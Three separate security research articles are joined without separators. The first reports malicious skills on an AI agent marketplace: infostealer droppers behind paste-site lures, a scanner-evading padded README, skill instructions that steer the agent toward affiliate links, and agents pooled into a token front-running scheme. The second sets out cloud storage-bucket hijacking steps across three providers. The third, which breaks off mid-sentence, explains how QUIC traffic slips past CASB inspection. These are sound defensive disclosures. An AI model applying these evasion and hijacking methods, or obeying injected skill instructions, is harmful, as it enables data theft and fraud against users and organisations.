OpenClaw is an AI agent that executes third-party skills from ClawHub, its dedicated marketplace. Skills are markdown-driven packages with broad local system access, making ClawHub a critical link in the agentic software supply chain. Following its release, the ecosystem saw several malicious campaigns. Those early findings, published in February 2026, prompted ClawHub to integrate VirusTotal and ClawScan, enabling proactive screening of published skills and code-level analysis to block skills flagged as malicious from download. However, our analysis from February-May 2026 revealed persistent and evasive malicious skills on ClawHub. We identified five unblocked skills. We reported all five to ClawHub for takedown. OpenClaw banned the accounts mentioned and deleted all of the skills. The five skills represent three distinct threat categories leveraging the AI supply chain ecosystem: Infostealers: Two skills delivered macOS infostealers. Both connect to command-and-control (C2) infrastructure, indicating persistent threat actor activity. Evasion: One skill has an inflated file size to exceed scanner thresholds, bypassing both ClawScan and VirusTotal detection. Agentic threats: Two skills represent agentic threats: runtime agentic affiliate injection and agentic front-running. Both are novel techniques that the skill authors used for financial gain. OpenClaw is now also collaborating with NVIDIA to provide documentation of what each skill does, and to run NVIDIA’s analysis tool on all skills. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-specific risks. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Software supply chain attacks typically rely on compromising distribution vectors or spoofing dependencies. However, AI agent ecosystems have altered this paradigm, and their threat model differs from previously established ecosystems like npm or PyPI. While conventional malware often faces limitations from language runtimes or containers, malicious skills use semantic instruction hijacking to bypass technical constraints. By misusing the AI’s natural language interpretation, malicious skills can exploit the agent's operational context, including file systems, shells and credential managers, without requiring a conventional exploit. The lack of isolation between skill logic and agent authority means that installation results in complete control over the agent's identity. This allows a malicious skill to perform unauthorized actions through the agent’s own authenticated sessions. In early February 2026, Bitdefender Labs reported that approximately 17% of OpenClaw skills they analyzed in the first few weeks of the platform's release carried malicious payloads. Koi Security's ClawHavoc disclosure documented 341 malicious skills, and Trend Micro separately confirmed skills distributing Atomic macOS stealer (AMOS) malware across the marketplace. This early wave featured several distinct techniques: Base64-encoded curl-pipe-bash dropper: These skills embedded a fake prerequisite block that instructed the agent to decode and execute a Base64-encoded remote payload, typically fetched from 91.92.242[.]30, the IP address for an AMOS C2 server. Platform-specific delivery: For macOS targets, paste-site redirects (glot[.]io, rentry[.]co) served as an intermediary step, allowing attackers to update payloads without modifying the published skill. Attackers directed Windows targets to password-protected executables hosted on third-party hosting services. Persistence via auto-updaters: Auto-updater skills combined the initial dropper with scheduled cron job registration, ensuring the C2 channel persisted even after skill removal. Alternative exfiltration channel: A distinct cluster (polymarketbtc, polymarketbtcassistant and related skills published by krajekisbtc) exfiltrated cryptocurrency private keys via the Telegram Bot API, a C2 channel independent of the shared dropper infrastructure. Registry saturation: A single publisher account injected malicious payloads into the majority of their published skill catalog with identical payloads to maximize installation surface before detection. Those findings prompted ClawHub to partner with VirusTotal, enabling proactive screening of published skills. These skills from these early campaigns have since been removed from the marketplace or marked as malicious. In the following sections, we document the state of the marketplace between February and May 2026, during which VirusTotal and ClawScan served as the primary screening mechanisms. (On June 1, ClawHub also announced a partnership with NVIDIA to help screen published skills.) The AMOS dropper infrastructure from earlier campaigns remains active more than three months after first public disclosure, with the C2 server at 91.92.242[.]30 continuing to receive new skill deliveries. Additionally, we observe novel attacks that adapt to and exploit skill marketplaces, leveraging the agentic execution model to implement financial schemes that evade some kinds of malware detection. Publisher/Skill: [redacted]/tradingview-ai-indicator-assistant SHA256 hash: b6c7e0bf573b1c7d9d3a05eb08d26579199515b847df984862805f44a7af8007 On May 17, 2026, the account published two skills targeting TradingView users as shown in Figure 1. Both of these skills presented as AI assistants for macOS, posing as productivity tools for traders. Both embedded the same malicious prerequisite block, which prevented the skills from functioning until the user performed a required action. In this case, the prerequisite block directed agents to a site with malicious instructions to copy and paste text into a terminal window. We refer to this site as a paste-site redirect lure. The paste-site redirect lure at hxxps[:]//rentry[.]co/openclaw-code served instructions with a Base64-encoded string for the prerequisite block, which the agent must run before the skill can continue. Figure 2 below shows an example of this page. When the agent performed the actions in the paste-site redirect lure, the associated command fetched a payload from hxxp[:]//2.26.75[.]16/Xuvewuyur. That payload was a macOS infostealer named cluw with a SHA256 hash of 818aea6143282b352fdfdc0f3ebf77a36e54eb3befb5cad1a355a99ab97c6aa7. The delivery mechanism is structurally identical to the ClawHavoc campaigns documented by Koi Security and Trend Micro. The prerequisite block, the paste-site redirect lure and the Base64 pipe to bash all match the early-wave pattern. The C2 server we discovered at 2.26.75[.]16 differs from prior disclosure. The cluw payload differs from AMOS. This campaign used the established delivery template with fresh backend infrastructure. Until mid-May, ClawHub's automated auditing returned a verdict of Pass for ai-tradingview-assistant-for-macos and no verdict for tradingview-ai-indicator-assistant. Neither skill triggered detection, despite containing a verbatim paste-site prerequisite lure. This structural pattern characterized over 300 skills in the original ClawHavoc disclosure. Publisher/Skill: [redacted]/omnicogg SHA256 hash: b30eaed1f7478c28f4ec50d07ed5ef014ffbc4b2bc5a38d689ba9f7abb5e19c2 The omnicogg skill was an early-wave threat, similar to those that defined the initial surge of malicious activity on ClawHub. It is a Base64-encoded curl-pipe-bash dropper that delivered the AMOS malware via 91.92.242[.]30, the same C2 infrastructure documented in earlier campaigns. This skill is distinguished by its delivery vessel, a README.md file. The malicious payload appears at the start, followed by 22 MB of padding characters. This padding inflates the file size beyond the limits that many content-analysis pipelines enforce before declining to process a file. Figure 3 below shows an example of the padding characters in this file. JFrog Security Research disclosed this skill in March 2026. This evasion technique can be effective because many scanning pipelines skip abnormally large files rather than process them. This skill's ClawScan audit was in review in mid-May, while VirusTotal returned a clean verdict, and the skill remained available for download, as shown in Figure 4. Scanners that do not analyze content beyond standard thresholds will miss payloads structured to exploit that weakness. Publisher/Skill: [redacted]/money-radar SHA256 hash: ebb73dbb5aac1f6fe1a88e8f26126a1e1aa34c9f3345ad4345189b40d9bf1d1d This ClawHub campaign focused on financial communities, with skills that targeted banking and crypto exchange workflows. This money-radar skill presented itself as an overseas financial product advisor that compared brokerages, banks, crypto exchanges and remittance services for users in mainland China, Hong Kong and Singapore. However, its core logic was an affiliate funnel for developer profit. The skill weaponized the agent's advisory authority, routing all financial recommendations through affiliate links from a known-malicious domain. The publisher retained dynamic control over which products it pushed after installation. The skill's mandatory first action on every invocation was to fetch product data from laosji[.]net, a domain previously observed in paste-jacking campaigns. Figure 4 shows an example of this action within the skill's SKILL.md file. The agent ingested a referrals.json payload from laosji[.]net as a precondition to answering any financial question. That payload contained approximately 60 products across eight categories, each with a referralLink field carrying affiliate tracking. The SKILL.md file then issued an explicit instruction to always use the referral links as shown in Figure 6. Once the skill was installed, the publisher dynamically controlled the links the agent would recommend by updating referrals.json on laosji[.]net. The operator could change which products were recommended, rotated affiliate partners or redirected victims toward higher-commission offerings without the victim’s involvement. This exploitation constitutes an agent-specific form of runtime affiliate injection. Unlike typical affiliate injection, which intercepts links the target was already clicking, this skill generated the recommendation itself. The affiliate link arrived embedded in what appears to be skill-based expert advice. Publisher/Skill: [redacted]/letssendit SHA256: hash f4e41aa269c88bf11a2022701a9cf41e9a186aa1b224d837c31bf34e0b875d0e The letssendit skill implemented an agentic front-running scheme. This scheme involved the skill operator misusing the ClawHub platform to illegitimately profit from meme token launches. It achieved this by leveraging numerous AI agent participants and coordinated agentic execution. The coordinated activity executed on infrastructure using the domain letssendit[.]fun. Guided by the skill's SKILL.md file instructions, installed agents autonomously pooled Solana blockchain platform cryptocurrency (SOL) into the operator's digital wallet. Once enough agents had joined, the operator would front-run the distribution by purchasing the SENDIT meme token at the lowest bonding curve price before allocating any to the agents. The token then launched publicly on the cryptocurrency platform pump[.]fun, where external buyers could mistake the coordinated AI botnet activity for organic retail demand. This could create a classic rug pull. The operator simply rotates wallets across multiple confirmed launches, dumping their low-cost position into the artificial market rally at the expense of secondary market buyers. Ultimately, this exploit represents a novel documented case of an attacker weaponizing an autonomous AI agent network to execute a pump-and-dump scheme. This behavior constitutes fraudulent financial activity. We strongly recommend that enterprises block this skill across their AI infrastructure to mitigate regulatory and security risks. The cases documented in this article span evasion, deceptive monetization, financial fraud and campaign persistence. Each case passed existing detection tools at the time of our analysis. Organizations can strengthen their defensive posture by using a rigorous supply chain verification framework. We identified that skill execution occurs within the agent process. This necessitates active validation of publisher provenance and a line-by-line audit of package source files. Our research indicates that monitoring outbound network traffic can identify post-installation communication with undocumented endpoints. We recommend cross-referencing all external connections against the provided documentation. Any discrepancies serve as observable indicators of risk. These verification steps help protect an organization’s environment by ensuring that the operational behavior of a skill aligns strictly with its stated technical specifications. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Koi's Agentic Endpoint Security (AES) gives security teams a single platform to discover every AI component across the agentic endpoint, assess its risk, enforce policy, and remediate violations - so your end users adopt the latest technology, increase the org productivity without compromising on security. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Prisma Browser Prisma Browser provides additional protection layers against advanced web threats including dynamic scans of every loaded web page, to prevent execution of malicious content and protect company assets. The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection. The Unit 42 AI Security Assessment and Unit 42 Frontier AI Defense service can help identify and mitigate complex AI-specific risks. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. We’d like to thank the entire Unit 42 team for supporting us with this article. Special thanks to Samantha Stallings, Bradley Duncan and Lysa Myers for helping us review this article. 2.26.75[.]16 91.92.242[.]30 91.92.242[.]30/lamq4 download.setup-service[.]com github[.]com/Ddoy233/openclawcli glot[.]io/snippets/hfd3x9ueu5 install.app-distribution[.]net laosji[.]net openclawcli.vercel[.]app rentry[.]co/openclaw-code [redacted]/santi-text-game [redacted]/omnicogg [redacted]/letssendit [redacted]/money-radar [redacted]/ai-tradingview-assistant-for-macos [redacted]n/tradingview-ai-indicator-assistant [redacted]/pdfcheck [redacted]/update [redacted]/wistec-core 818aea6143282b352fdfdc0f3ebf77a36e54eb3befb5cad1a355a99ab97c6aa7 881ce5cb124c4d2e814783724cc1388f6a1cbf6eee274c3f3366e77ba3503ad7 b30eaed1f7478c28f4ec50d07ed5ef014ffbc4b2bc5a38d689ba9f7abb5e19c2 b6c7e0bf573b1c7d9d3a05eb08d26579199515b847df984862805f44a7af8007 ebb73dbb5aac1f6fe1a88e8f26126a1e1aa34c9f3345ad4345189b40d9bf1d1d f4e41aa269c88bf11a2022701a9cf41e9a186aa1b224d837c31bf34e0b875d0e OpenClaw Partners with VirusTotal for Skill Security OpenClaw Collaborates with NVIDIA for Stronger Agent Skill Security Anatomy of a Deception: Uncovering the 'omnicogg' Dropper in ClawHub - JFrog Security Research ClawHavoc: 341 Malicious Clawed Skills Found by the Bot They Were Targeting - Koi Security Malicious OpenClaw Skills Used to Distribute Atomic macOS Stealer - Trend Micro Trust No Skill: Integrity Verification for AI Agent Supply Chains - Unit 42

We recently identified a bucket hijacking technique impacting multiple services across major cloud service providers (CSPs). The attack technique exploits a fundamental architectural flaw that is common across cloud providers and could potentially affect other cloud providers as well. Our research reveals that an attacker can silently compromise an organization's active data streams by rerouting data into an external storage bucket. Because a storage bucket name is globally unique, an attacker can simply delete the bucket and then recreate it under the attacker's own account using the same name. This therefore creates a global namespace risk. This bucket hijacking reroutes critical logs and sensitive data directly to the attacker’s environment. We have shared these findings with Google Cloud, Amazon Web Services (AWS), and Microsoft Azure. We have not yet identified a real-world threat actor using this attack technique. However, we recommend organizations take steps now to head off the potential impact, particularly since we anticipate that real-world attempts to use this attack technique would be difficult to detect. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: Unit 42 Cloud Security Assessment can help turn cloud complexity into actionable security insights. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Before detailing the attack methodology, it’s important to understand several architectural elements that, when combined, make bucket hijacking possible. A data stream is an automated, continuous pipeline designed for high-volume data movement between services. Once configured, these streams operate autonomously in the background to push telemetry, audit logs or objects from a source environment to a designated storage destination for processing and long-term retention. Major CSPs facilitate automated data streams. These streams serve as critical nodes for routing, processing and backing up data within an organization's infrastructure, such as: A cloud logging sink in Google Cloud acts as a router for log entries, directing them to a chosen destination. While primarily used to route and store logs in centralized log buckets for purposes like analysis and retention, a sink can also export logs to a Google Cloud Storage (GCS) bucket. Bucket replication in AWS is a feature that automatically duplicates data from a source S3 bucket to a designated destination S3 bucket. Cloud environments often stream data into buckets such as an S3 bucket in AWS or a GCS bucket in Google Cloud. Because bucket names are typically unique across the entire cloud provider, no two users can have the same bucket name. This design simplifies data stream establishment by providing a single, predictable target. However, it also creates a shared namespace where a destination's identity is tied solely to its name, rather than to a specific, immutable account owner. This characteristic is the foundational logic behind our discovery. The data stream is frequently defined by a routing resource that is configured with a specific destination. To legitimately modify this destination, the user must possess specific, granular identity and access management (IAM) update permissions for that resource. For example, modifying the destination for a cloud logging sink requires the logging.sinks.update permission. This routes logs to a bucket. Our research found that certain permissions outside of this traditional update purview could be leveraged to reroute data streams. We now turn to discussing the attack flow before any mitigations were provided by the affected CSPs. After compromising a cloud environment and securing the permissions required to delete a target bucket, an attacker was effectively positioned to intercept and redirect a cloud data stream. By deleting the original bucket and immediately recreating a new bucket with the same name within their own account, the attacker could have redirected the data stream. This could have led to the exfiltration of the target's data to the attacker's account. Figure 1 shows the attack flow diagram. We simulated the bucket hijacking technique in Google Cloud Logging. In the simulation, we used a sink that routes logs to a cloud storage resource, as shown in Figure 2. After routing the logs, the original cloud storage bucket was deleted, as Figure 3 shows. We then created a new bucket with the same name in an attacker-controlled environment, as shown in Figure 4. Subsequently, logs were routed to this external cloud storage bucket, allowing the attacker to obtain extensive information about the compromised environment, as shown in Figure 5. The required permissions the attacker needed to have are storage.objects.delete (to empty the bucket) and storage.bucket.delete (to delete the bucket). Data streaming into a GCS bucket is not unique to cloud logging. There are many other Google Cloud services in which data can be streamed into cloud storage. We identified and tested a representative subset of potentially vulnerable services, specifically Pub/Sub and Storage Transfer Service, to confirm the systemic prevalence of this security risk. Pub/Sub is an asynchronous messaging service that decouples upstream event producers from downstream processing services. It allows applications to broadcast messages to a topic, which are then distributed to one or more subscriptions for consumption by downstream systems. This architecture enables scalable, event-driven communication. This allows disparate components such as log aggregators, data pipelines and real-time analytics engines to exchange information reliably without needing direct, synchronous connections. The Pub/Sub architecture has three core components: Publishers (producers) send messages to a named logical channel called a topic, without needing to know who or what will receive them. Topics act as a buffer or distribution hub, holding the messages until they can be delivered. Subscribers (consumers) listen to specific topics via a subscription. When a message arrives in the topic, the Pub/Sub service pushes it to the subscribers (push model) or the subscribers actively request it (pull model). To simulate a bucket hijacking attack on Pub/Sub, we took the following steps: We created a new Pub/Sub topic and a subscription linked to a GCS bucket We configured the GCS bucket with the necessary permissions to grant access to the service agent: - Storage object creator (roles/storage.objectCreator) - Storage legacy bucket reader (roles/storage.legacyBucketReader) We published a message to the topic, which was successfully delivered to the initial bucket We deleted the original bucket and created a new bucket with the same name in a different project (the attacker's project) When a message was published manually again, we found that the service exfiltrated the message to the attacker's environment The successful redirection of the message stream proved that the bucket hijacking attack technique was directly applicable to the Pub/Sub service, allowing an attacker to exfiltrate data by deleting and recreating the destination bucket. Storage Transfer Service is a managed data migration tool designed to automate the movement of large volumes of data into, out of or between cloud storage environments. It allows organizations to schedule and manage massive data transfers from external sources (like AWS S3 or on-premises systems) to GCS buckets, or to synchronize data between different cloud storage projects. The service handles the underlying infrastructure, retries and checksum validation. It provides a way to populate data lakes or perform large-scale disaster recovery backups. The Storage Transfer Service architecture operates as a centralized orchestration engine that manages the movement of data between a designated source and sink. When a user defines a transfer job, they specify the source, the destination and the scheduling parameters. The source can be an S3 bucket, a URL list or another GCS bucket. To simulate a bucket hijacking attack on Storage Transfer Service, we took the following steps: We configured a new transfer job with a GCS bucket as the source and another GCS bucket as the destination We assigned the necessary permissions to the buckets to grant access to the service agent: - Source bucket: Storage Object Viewer (roles/storage.objectViewer) and Storage Legacy Bucket Reader (roles/storage.legacyBucketReader) - Destination bucket: Storage Object Admin (roles/storage.objectAdmin) The user then initiated the transfer job We deleted the destination bucket and then immediately re-created it in a different project (the attacker's environment) We wrote a new object into the source bucket After a period determined by the job's scheduling parameter, the object appeared in the newly hijacked destination bucket, which was under the attacker's control The impact of this risk was significantly magnified by its broad applicability across numerous services. The permissions storage.buckets.delete and storage.objects.delete could be used to bypass the granular update permissions required for specific resources to redirect sensitive data streams such as logging.sinks.update, pubsub.subscriptions.update and storagetransfer.jobs.update. The architectural flaw of global bucket name uniqueness is not exclusive to Google Cloud. AWS S3 buckets operate under the same design logic. Given this commonality, we investigated whether we could apply the same hijacking technique within the AWS ecosystem. We successfully simulated the bucket hijacking attack using the S3 bucket replication feature. This feature enables the configuration of a source and destination bucket, where all objects written to the source bucket are automatically replicated to the destination bucket. The simulation followed these steps: We created a bucket in our environment with a replication rule targeting a second bucket within the same account We deleted the bucket and immediately recreated a new one using the same name within an external account We uploaded a file to the source bucket We observed the file appearing in the destination bucket located in the external account Like in Google Cloud, we identified that this was not a localized issue, but applied to a number of AWS data stream services. We simulated the same technique using Amazon Data Firehose (where the destination is an S3 bucket) and observed the same behavior. Finally, we tested Azure’s environment for the same attack technique. Azure platform limitations prevent the immediate reuse of storage account names across different tenants for several days after deletion. However, we were able to simulate a cross-subscription attack technique. This scenario was particularly relevant if an attacker gained permission to delete a storage account in one subscription and intended to reroute data to another. This allowed them to move data to a subscription where they maintained higher privileges and persistence, or perhaps where they previously lacked data access permissions. Ultimately, this technique relied on the fact that a storage account must be created with soft-delete disabled to ensure the name was released and could be promptly reclaimed. We used Azure Monitor to demonstrate this attack. Diagnostic settings in Azure Monitor can be configured to export resource logs (e.g., metrics and audit events) to an Azure storage account. While the configuration stores the destination via its Azure Resource Manager (ARM) Resource ID, the internal pipeline resolves the storage account at runtime using its DNS name ({accountname}.blob.core.windows.net). This architectural behavior facilitated the execution of the attack. If an attacker deleted a destination storage account and recreated it with an identical globally unique name in a different subscription within the same tenant, the diagnostic pipeline would continue to write logs to the attacker-controlled storage account. The attack was less severe in Azure than in AWS or Google Cloud because it was limited to a cross-subscription scope rather than a cross-tenant one. The practical execution of bucket hijacking relies on specific exploitation vectors that are often facilitated by the widespread use of over-privileged administrative roles. We identified two distinct scenarios that could enable an attacker to execute a bucket hijacking operation: Privilege escalation: As demonstrated in our simulations, a compromised identity with the permission to delete a bucket could misuse this access to redirect data streams to the attacker's own bucket. The widespread application of storage administrator roles significantly increased the risk of this attack technique and overcame the need for the more granular logging.sinks.update permission (as shown later). Dangling router resources: In a similar exploit not demonstrated in this article, if someone deleted a bucket and failed to remove the associated router resource, an attacker could create a new bucket using the same name in their own environment. This action effectively redirects the data to the attacker's bucket, granting the attacker access to the victim's ongoing data. Detecting these attack scenarios is particularly challenging. In scenarios where destination resources are used primarily for long-term retention or backup, the target may not detect the initial deletion of the original storage bucket. Because the data stream continues to operate autonomously, the sink configuration in Google Cloud appears valid upon inspection as shown in Figure 6. This allows the hijacking and subsequent data exfiltration to remain largely undetected. Cloud providers frequently offer broad storage administration roles that grant wide-reaching deletion privileges by default, which significantly increases the practical risk of this attack technique. For example, in Google Cloud the common storage admin role provides the storage.buckets.delete permission. However, as Figure 7 shows, it does not include granular permissions to modify data stream configurations like: logging.sinks.update pubsub.subscriptions.update storagetransfer.jobs.update Google has adjusted how router resources interact with target storage resources since the time of our initial research. Microsoft recommended that Azure users review documentation and tooling on addressing dangling DNS for subdomain takeovers (see Additional Resources). Users can also employ additional defense strategies. Mitigating the bucket hijacking technique requires a two-pronged approach focusing on preventative guardrails and proactive monitoring. Prevention starts with the principle of least privilege. Organizations must strictly limit the IAM permissions for deletion actions, specifically: Storage.buckets.delete in Google Cloud DeleteBucket in AWS Microsoft.Storage/storageAccounts/delete in Azure These permissions should be restricted to a minimal set of administrative roles and should never be assigned to service accounts or applications without rigorous justification. In addition, the following mechanisms help to prevent the bucket hijacking technique: Organizations can prevent bucket hijacking for data exfiltration by enforcing data perimeter controls that restrict resource access to stay within a trusted organizational boundary. - In AWS, data perimeter policies — implemented through service control policies (SCPs) and virtual private cloud (VPC) endpoint policies — can ensure that workloads within the organization are unable to write data to S3 buckets that belong to external accounts. This can effectively block the exfiltration path even if an attacker substitutes a malicious bucket, though the approach has some limitations. - Similarly, in Google Cloud, VPC Service Controls define a security perimeter around projects and services, to block any API call attempting to access Cloud Storage buckets outside the perimeter. Deploying these controls as a baseline ensures that data cannot leave the trusted environment boundary, neutralizing the core mechanism of this attack technique. AWS offers account regional namespaces for S3 buckets, which scope bucket names to the owning account and region rather than to a single global namespace. This directly eliminates the bucket hijacking vector. If a bucket is deleted, no other account can reclaim its name. This prevents attackers from intercepting traffic by re-registering abandoned bucket names. For detection, organizations must implement robust monitoring solutions that specifically alert on the attempted deletion of a storage bucket. Security teams should prioritize high-severity alerts for storage deletion API calls, focusing specifically on resources that house sensitive information. Given the high frequency of storage deletion events in large-scale environments, leveraging data security posture management (DSPM) capabilities is essential. It is particularly important to prioritize monitoring and to focus specifically on high-value, sensitive assets, as shown in a Cortex XSIAM alert in Figure 8. The bucket hijacking technique detailed in this research exploits the global uniqueness of storage resource names in the major cloud providers. We have demonstrated how a configure-and-forget approach to data streams can lead to silent, long-term data exfiltration. Reliance on a globally unique, static resource name for buckets is an architectural design common across cloud providers. As such, this technique could be portable to other cloud services and providers not covered in this research. Our findings underscore two primary lessons for the security community: Architecture defines the security boundary: Fundamental design choices made by cloud providers directly influence the security boundaries of our environments. A robust mitigation strategy must include awareness of these architectural nuances and the implementation of guardrails. A cross-cloud exploitation methodology: While cloud providers are often managed as distinct ecosystems, their shared design philosophies allow identical attack techniques to be applied across providers. Our simulations prove that a specific architectural observation can evolve into a universal methodology for hijacking sensitive data streams. We encourage the security industry to adopt a cloud-agnostic mindset. A design flaw discovered in one provider could be a blueprint for exploiting another. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex Cloud customers are better protected from the techniques discussed in this article with cloud runtime security operations through the collection, analysis, detection, alerting and prevention of malicious operations on cloud platform and SaaS application audit logs. Cortex has several out-of-the-box rules built into the Analytics module that detect data movement to external buckets. Using behavioral and static alerting techniques on cloud logs during cloud operations runtime, the techniques discussed within the article can be identified. When this occurs, they trigger alerts, which provide early warning and, in some cases, prevention operations to prevent further compromise from these attacks. Cortex Cloud Identity Security can also protect organizations from the techniques discussed in the article. Identity Security encompasses: - Cloud Infrastructure Entitlement Management (CIEM) - Identity Security Posture Management (ISPM) - Data Access Governance (DAG) - Identity Threat Detection and Response (ITDR) These tools provide the necessary capabilities to improve identity-related security requirements within cloud environments. This includes: - Accurately detecting misconfigurations - Identifying unwanted access to sensitive data - Conducting real-time analysis surrounding usage and access patterns Unit 42 Cloud Security Assessment can help turn cloud complexity into actionable security insights. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Aggregated sinks overview – Google Cloud Bucket Replication - AWS Pub/Sub - Google Cloud Pub/Sub Topic - Google Cloud Pub/Sub Subscription - Google Cloud Storage Transfer Service - Google Cloud Amazon Data Firehose - AWS Azure Monitor - Azure Prevent subdomain takeovers with Azure DNS alias records and Azure App Service's custom domain verification | Microsoft Learn Azure-Network-Security/Cross Product /DNS - Find Dangling DNS Records - GitHub Building a Data Perimeter on AWS - AWS Overview of VPC Service Controls - Google Cloud Account regional namespaces for Amazon S3 general purpose buckets - AWS

[This is a guest diary submitted by Varun Murdula] SUMMARY CASB block policies rely on inspecting TCP traffic. QUIC, the protocol powering HTTP/3, runs over UDP, a protocol most CASBs cannot inspect. The result: Chrome can reach a destination your CASB is supposed to block, and nothing in the logs shows it happened. This article explains the gap, how to test for it, and what to do about it. When a security team blocks access to a website or cloud service, the assumption is simple: the block is in place, so users cannot reach that destination. The rule is configured. The tool is running. "Job done. Time for coffee." That assumption is often wrong. When it is, there is nothing in the logs to tell you. I ran a test across five browsers on a managed endpoint with an active CASB policy. What I found is what this article describes. There is a real enforcement gap in how CASBs handle browser traffic. It is documented by the security vendors themselves, including published guidance from Palo Alto Networks, Forcepoint, and Cloudflare. But many security teams have never tested for it and do not know it applies to them. The tools are doing what they were designed to do. The way CASBs were built predates how browsers behave today. A block policy can look completely fine in every log and dashboard while traffic to the blocked destination flows freely through a different browser on the same machine. First, what is a CASB? A Cloud Access Security Broker (CASB, pronounced “cazz-bee”) is a security tool that sits between an organization’s users and the internet. Gartner, which coined the term in 2012, defines it as “on-premises, or cloud-based security policy enforcement points, placed between cloud service consumers and cloud service providers to combine and interject enterprise security policies as the cloud-based resources are accessed.”10 In plain terms: it sits in the path of every internet connection and decides what gets through. Proxy mode is the most common deployment for web traffic inspection. In this mode, every time a browser connects to a website or service, the CASB intercepts the request, checks it against policy rules, and either allows it or blocks it. It acts like a security checkpoint on every outbound internet connection. CASBs are used to stop employees from sending sensitive data to places their organization does not permit: personal cloud storage, unauthorized file sharing tools, and generative AI chatbots where organizational policies may prohibit data sharing. To inspect web traffic, a CASB needs to read the content of the connection, including encrypted ones. The vast majority of web traffic today is encrypted using Transport Layer Security (TLS). A protocol is a set of rules for how data travels across a network. TLS encrypts data in transit so only the sender and recipient can read it. It is the technology behind the padlock icon in your browser’s address bar. To inspect TLS-encrypted traffic, a CASB performs SSL/TLS inspection (SSL stands for Secure Sockets Layer, TLS’s older predecessor). The CASB intercepts the connection and decrypts it. It then inspects the content, applies its policy, re-encrypts the traffic, and forwards it on. From the user’s side, nothing looks different. The padlock is still in the address bar. For this to work, the CASB needs the browser to trust its re-signed certificates. It does that by installing a root Certificate Authority (CA) certificate into the device’s trusted certificate store, a list of credentials the device recognizes as legitimate. Once that certificate is there, the browser trusts the CASB’s re-signed traffic and continues normally. This works fine, but not every browser on the device handles that certificate the same way. How QUIC creates a gap in your CASB coverage Two things explain this gap. The first is QUIC, a modern transport protocol developed by Google and standardized by the IETF.1 It was designed to make web connections faster and more reliable. It was not designed to circumvent enterprise security controls. This gap exists because proxy-based inspection tools were built around TCP, not because QUIC has a flaw. The name is not an acronym. Google just called it QUIC. The second is the difference between TCP and UDP, the two transport mechanisms that determine whether your CASB ever sees the traffic. TCP (Transmission Control Protocol) is the traditional protocol behind most internet traffic. Ordered, reliable, and what CASB SSL/TLS inspection is built around. UDP (User Datagram Protocol) is a faster, lower-overhead alternative. It trades some of TCP’s reliability for speed and does not require the same connection handshake. QUIC runs over UDP, not TCP. CASB inspection only works on TCP, so it never sees QUIC traffic. "Chrome took the side door. The CASB was watching the front." QUIC is the transport behind HTTP/3 (the third version of the Hypertext Transfer Protocol, the language of the web). Chrome learns which servers support QUIC through previous connections, Alt-Svc headers, or DNS HTTPS records (RFC 9460), which let servers signal QUIC support before a connection even starts.9 Once Chrome knows a server supports QUIC, it tries it automatically. When that happens, the traffic goes over UDP. The CASB only monitors TCP, so it never sees the connection. No block fires and nothing is logged. KEY FINDING: A user on a managed laptop can reach a destination the CASB is supposed to block, simply because Chrome used QUIC over UDP instead of TCP. The tool is running. The policy is active. The block does not fire. These are not hypothetical concerns. Palo Alto Networks explicitly recommends blocking QUIC in their internet gateway security best practices.2 Forcepoint published a dedicated advisory documenting that QUIC traffic from Chrome, Edge, Brave, Firefox, and Safari may not be intercepted by their proxy.3 Cloudflare’s gateway documentation states directly: if the UDP proxy or TLS decryption is off, HTTP/3 traffic from Chrome bypasses inspection entirely. [4] The broader problem: Browsers do not all behave the same way QUIC is the clearest example, but it is not the only way enforcement can fail across browsers. When a CASB policy is set up and tested, it is usually tested once, from a single browser, and signed off as working. Most teams never verify whether the policy is enforced consistently across every browser on managed devices. "One browser tested. Zero browsers questioned. Ticket closed." Keep Aware’s 2026 Browser Security Report makes the point clearly: DLP and CASB tools were built for a different era of computing, one defined by email attachments, file transfers, and endpoint storage.5 They were never designed for what people actually do in a browser today: typing sensitive data into a web form, pasting content into an AI chatbot, uploading files through a browser interface. Some DLP tools enforce policy through a browser extension rather than a network proxy. That extension only works in browsers where it was deployed.6 Use a different browser on the same machine and the enforcement is gone entirely. Why this is invisible in standard log review That missing coverage does not generate an alert. It leaves no trace. When QUIC bypasses the proxy, the traffic never touches the inspection pipeline. The CASB sees nothing. No failed block, no error, no anomaly. When one browser is enforced and another is not, the CASB log looks clean. Block events from the enforced browser are there. The uninspected traffic from the other browser generates no entries at all. "The logs are not lying. They reported exactly what they saw. The problem is they only saw the traffic that came through TCP." CASB block event counts get used to assess how much traffic reached a blocked destination. But block events only count traffic that entered the inspection pipeline, not all traffic that actually arrived. Where QUIC is unblocked, the real number is higher. Sometimes significantly. In an investigation, that gap means you underestimated how much data actually moved — you scoped the incident wrong. Why this gap matters now Generative AI has changed where sensitive data goes. Industry research consistently shows that employees are sharing internal documents, reports, and confidential data with AI tools at significant scale.[7] Most of it on managed devices, through Chromium-based browsers, reaching 